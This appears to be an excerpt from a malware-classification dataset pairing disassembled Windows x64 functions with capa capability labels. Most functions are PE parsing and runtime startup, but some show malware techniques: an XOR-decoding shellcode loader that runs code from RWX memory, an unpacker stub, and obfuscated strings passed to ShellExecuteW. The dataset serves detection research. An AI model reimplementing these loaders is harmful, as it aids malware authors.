joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002270
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022bd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022b4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022bf
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002350
mov rdx, qword [0x140009940]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000233e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000233e
cmp word [rax + 0x18], 0x20b
jne 0x14000233e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002350
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002329
add rbx, 0x28
cmp rbx, rdi
je 0x140002350
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002320
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002360
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009940]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002380
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002388
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002380
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002380
add rax, 0x28
cmp rax, r9
jne 0x1400023c0
xor eax, eax
ret

Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009940]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002408
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009940]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002440
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002448
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002440
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002490
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002487
test rcx, rcx
je 0x140002440
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002478
xor eax, eax
ret
Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009940]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009940]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002500
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002500
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002554
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002560
add rdx, 0x28
cmp r9, rdx
jne 0x140002540
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002570
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009940]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002592
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400025a0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002592
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002592
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002592
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025f5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002608
add rdx, 0x28
cmp rdx, r10
jne 0x1400025e0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002617
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002627
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025fe
test ecx, ecx
jg 0x140002610
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140005c90
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14000ccc0], rbx
je 0x140005cdc
cmp rax, rbx
jne 0x140005ccf
mov ebx, 1
mov esi, ebx
jmp 0x140005ce1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005cb4
mov ebx, 1
mov eax, dword [0x14000ccc8]
cmp eax, ebx
jne 0x140005cf7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140005d5c
mov eax, dword [0x14000ccc8]
test eax, eax
jne 0x140005d56
mov dword [0x14000ccc8], ebx
lea r15, [0x1400074d0]
lea rdi, [0x1400074b8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140005d48
test eax, eax
jne 0x140005d4c
cmp qword [rdi], 0
je 0x140005d3d
mov rax, qword [rdi]
mov rcx, qword [0x140007468]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140005d1e
test eax, eax
je 0x140005d5c
mov eax, 0xff
jmp 0x140005e38
mov dword [0x14000b204], ebx
mov eax, dword [0x14000ccc8]
cmp eax, ebx
jne 0x140005d83
lea rdx, [0x1400074b0]
lea rcx, [0x140007470]
call sub.msvcrt.dll__initterm
mov dword [0x14000ccc8], 2
test esi, esi
jne 0x140005d90
xor eax, eax
xchg qword [0x14000ccc0], rax
cmp qword [0x14000ccd0], 0
je 0x140005dc4
lea rcx, [0x14000ccd0]
call fcn.140006200
test eax, eax
je 0x140005dc4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14000ccd0]
mov r9, qword [0x140007468]
call r9
mov r8, qword [0x14000b218]
mov rdx, qword [0x14000b210]
mov ecx, dword [0x14000b208]
call fcn.140001c1c
mov dword [0x14000b200], eax
cmp dword [0x14000b220], 0
jne 0x140005df4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b204], 0
jne 0x140005e09
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b200]
jmp 0x140005e38
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14012b000
add rsp, 0x28
jmp 0x140005c90

Function at 0x1400060ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140006138
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006130
cmp dword [rcx + 0x3c], edx
jl 0x140006130
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006130
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140006138
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14001943c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400306f8], rbx
je 0x1400194a3
cmp rax, rbx
jne 0x140019496
mov ebx, 1
mov esi, ebx
jmp 0x1400194a8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001947b
mov ebx, 1
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x1400194c0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14001952c
mov eax, dword [0x140030700]
test eax, eax
jne 0x140019521
mov dword [0x140030700], ebx
lea r15, [0x14001dcb8]
lea rdi, [0x14001dca0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140019513
test eax, eax
jne 0x140019517
cmp qword [rdi], r14
je 0x140019508
mov rax, qword [rdi]
mov rcx, qword [0x14001dc18]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400194ea
test eax, eax
je 0x140019527
mov eax, 0xff
jmp 0x140019682
mov dword [0x14002ffb4], ebx
mov edi, 0x1f
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x140019553
lea rdx, [0x14001dc98]
lea rcx, [0x14001dc20]
call sub.msvcrt.dll__initterm
mov dword [0x140030700], 2
test esi, esi
jne 0x140019561
mov rax, r14
xchg qword [0x1400306f8], rax
cmp qword [0x140030718], r14
je 0x140019594
lea rcx, [0x140030718]
call fcn.140019a50
test eax, eax
je 0x140019594
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140030718]
mov r9, qword [0x14001dc18]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1400195ad
mov eax, 0xff
jmp 0x140019682
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140019633
test ax, ax
je 0x1400195c8
test edx, edx
jne 0x140019633
sub ax, bx
cmp ax, di
ja 0x1400195de
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400195c8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003e4c
mov dword [0x14002ffb0], eax
cmp dword [0x14002ffd0], r14d
jne 0x14001961c
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14002ffb4], r14d
jne 0x140019631
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14002ffb0]
jmp 0x140019682
cmp ax, 0x22
jne 0x140019647
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400195b6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1401af000
add rsp, 0x28
jmp 0x14001943c
Function at 0x1400016a8
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
and qword [rsp + 0x70], 0
lea rdx, [0x140001de0]
mov rbx, rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [0x140001e00]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [0x140001560]
mov ecx, 0x1c
lea rdi, [rbx + 0x70]
mov r9d, 0x8000
rep stosq qword [rdi], rax
lea rax, [0x140001540]
mov edx, 0x20
mov qword [rbx + 0x70], rax
lea r8, [rsp + 0x40]
mov qword [rbx + 0x80], rax
mov rcx, rbx
lea rax, [0x140001590]
mov qword [rbx + 0xe0], rax
lea rax, [0x140001670]
mov qword [rbx + 0x68], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
and dword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x1400017a6
mov rax, qword [rsp + 0x70]
test rax, rax
jne 0x14000175f
mov eax, 0xc00000e9
jmp 0x1400017a6
or dword [rax + 0x30], 0x10
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
mov dword [rax + 0x98], 1
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov rcx, rbx
call section..text
test eax, eax
js 0x1400017a6
mov rcx, rbx
call fcn.140001168
test eax, eax
js 0x1400017a6
mov rax, qword [rsp + 0x70]
btr dword [rax + 0x30], 7
xor eax, eax
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140058ed0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140058edd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140058eed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140058ed5
lea eax, [rcx + 1]
jmp 0x140058efb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140058f0e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140058ef4
sub eax, 3
jb 0x140058f2e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140058f7d
sar eax, 1
movsxd rbp, eax
jb 0x140058f64
jmp 0x140058f3c
add ebx, ebx
jne 0x140058f3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140058f64
inc ecx
add ebx, ebx
jne 0x140058f4a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140058f64
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140058f5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140058f4c
add ecx, 2
jmp 0x140058f69
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140058e92
jmp 0x140058edd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2b000
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140058fc9
cmp rsi, rcx
jae 0x140058fd1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140058fb0
cmp al, 0x8f
ja 0x140058fb0
cmp byte [rsi - 2], 0xf
je 0x140058fb6
sub al, 0xe8
cmp al, 1
ja 0x140058f9a
cmp rsi, rcx
jae 0x140058fd1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140058fa0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140058fd1
lodsb al, byte [rsi]
jmp 0x140058fb0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x56000]
mov eax, dword [rdi]
or eax, eax
je 0x14005902e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x67fb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140058fde
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140059028
mov qword [rbx], rax
add rbx, 8
jmp 0x140058ffe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140059068
cmp al, 0xef
ja 0x14005905a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005903a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140059049
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400590bc
sub rsp, 0xffffffffffffff80
jmp 0x14000b820
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x48
mov byte [rsp + 0x24], 0x87
mov byte [rsp + 0x25], 0x20
mov byte [rsp + 0x26], 0x78
mov byte [rsp + 0x27], 0x7e
mov dword [rsp + 0x20], 0
jmp 0x14000102c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x31446
jae 0x14000108d
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x38], rax
lea rcx, section..data
movsxd rdx, dword [rsp + 0x20]
mov qword [rsp + 0x30], rdx
xor edx, edx
mov r8, qword [rsp + 0x30]
mov rax, r8
mov r8d, 4
div r8
mov rax, rdx
movsx eax, byte [rsp + rax + 0x24]
mov rdx, qword [rsp + 0x38]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
lea rdx, section..data
mov byte [rdx + rcx], al
jmp 0x140001022
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x31446
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov r8d, 0x31446
lea rdx, section..data
mov rcx, qword [rsp + 0x28]
call fcn.14000ebd0
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400017fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001846
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001846
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001846
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001846
cmp dword [rcx + 0x84], 0xe
jbe 0x140001846
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001848
xor al, al
add rsp, 0x28
ret

Function at 0x140004d88
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004df7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004df7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004df7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004df7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004df7
cmp dword [rcx + 0x84], 0xe
jbe 0x140004df7
cmp dword [rcx + 0xf8], 0
je 0x140004df7
mov ecx, ebx
call fcn.140004ea8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004c84
nop
cmp dword [rbp + 0x20], 0
je 0x140004e45
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004e50
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140004d88

Function at 0x140004f8c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004d88
Function at 0x140003750
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x2250
call fcn.140012190
sub rsp, rax
mov rax, qword [0x140071010]
xor rax, rsp
mov qword [rsp + 0x2240], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov r8d, edx
mov ecx, 0x410
xor edx, edx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140003816
lea r9, [rsp + 0x28]
mov r8d, 0x2000
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14000380d
mov rdx, qword [rsp + 0x30]
lea r8, [rsp + 0x2030]
mov r9d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x14000380d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x2030]
mov qword [rbx], rsi
or r8, 0xffffffffffffffff
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
inc r8
cmp word [rax + r8*2], si
jne 0x1400037f9
lea rdx, [rsp + 0x2030]
jmp 0x14000382b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rsi
lea rdx, [0x1400159bc]
mov qword [rbx + 0x10], rsi
xor r8d, r8d
mov qword [rbx + 0x18], rsi
mov rcx, rbx
call fcn.14000e37c
mov rax, rbx
mov rcx, qword [rsp + 0x2240]
xor rcx, rsp
call fcn.1400110e0
lea r11, [rsp + 0x2250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140005974
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x140071010]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rbx, rcx
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x30]
xor edi, edi
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, [rsp + 0x30]
mov qword [rbx], rdi
or r8, 0xffffffffffffffff
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
inc r8
cmp word [rax + r8*2], di
jne 0x1400059c9
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000e37c
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400110e0
mov rbx, qword [rsp + 0x268]
add rsp, 0x250
pop rdi
ret
Function at 0x14000697c
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov rax, qword [0x140071010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor edi, edi
movdqa xmm0, xmmword [0x1400697f0]
mov dword [rbp + 0x2f], 0x4692a247
mov dword [rbp + 0x33], 0xc8e3ae1
mov dword [rbp + 0x37], 0x5e889473
mov word [rbp + 0x3b], 0x5fb7
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x101c
mov eax, dword [rcx + r14]
mov ebx, 0x638
add rbx, r14
test al, 1
jne 0x140006a55
or eax, 1
mov dword [rcx + r14], eax
mov byte [rbx + 0x1e], 1
lea rax, [rbx + 0x1d]
lea rcx, [rbp + 0x3c]
cmp rbx, rcx
ja 0x140006a2d
lea rcx, [rbp + 0x1f]
cmp rax, rcx
jb 0x140006a2d
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x2f]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x37]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x3b]
mov word [rbx + 0x1c], ax
jmp 0x140006a48
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x2f]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x37]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x3b]
mov word [rbx + 0x1c], ax
lea rcx, [0x1400143f8]
call fcn.140011540
nop
cmp byte [rbx + 0x1e], dil
je 0x140006a83
mov rdx, rdi
mov cl, dl
and cl, 7
shl cl, 3
movabs rax, 0x4fe35f9535ebf11b
shr rax, cl
xor byte [rdx + rbx], al
inc rdx
cmp rdx, 0x1e
jb 0x140006a5e
mov byte [rbx + 0x1e], dil
or rsi, 0xffffffffffffffff
mov r9, rsi
inc r9
cmp byte [rbx + r9], dil
jne 0x140006a8a
add r9, rbx
mov r8, rbx
lea rdx, [rbp - 0x11]
call fcn.14000d2f4
nop
lea r15, [rbp - 0x11]
cmp qword [rbp + 7], 8
cmovae r15, qword [rbp - 0x11]
mov dword [rbp + 0xf], 0x51413aae
mov dword [rbp + 0x13], 0xa06a6e0a
mov edx, 0x1244
mov eax, dword [rdx + r14]
mov ecx, 0x1220
test al, 1
jne 0x140006afa
or eax, 1
mov dword [rdx + r14], eax
lea rbx, [rcx + r14]
mov word [rbx + 8], 0x1dd
movsd xmm0, qword [rbp + 0xf]
movsd qword [rbx], xmm0
lea rcx, [0x140014420]
call fcn.140011540
nop
jmp 0x140006afe
lea rbx, [r14 + rcx]
cmp byte [rbx + 9], dil
je 0x140006b2c
mov rdx, rdi
mov cl, dl
and cl, 7
shl cl, 3
movabs rax, 0xd3011d6b252959dd
shr rax, cl
xor byte [rdx + rbx], al
inc rdx
cmp rdx, 9
jb 0x140006b07
mov byte [rbx + 9], dil
inc rsi
cmp byte [rbx + rsi], dil
jne 0x140006b2c
lea r9, [rbx + rsi]
mov r8, rbx
lea rdx, [rbp + 0x1f]
call fcn.14000d2f4
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 8
cmovae r8, qword [rbp + 0x1f]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9, r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14000c8d4
nop
lea rcx, [rbp - 0x11]
call fcn.14000c8d4
cmp ebx, 0x20
setg dil
lea eax, [rdi - 1]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400110e0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret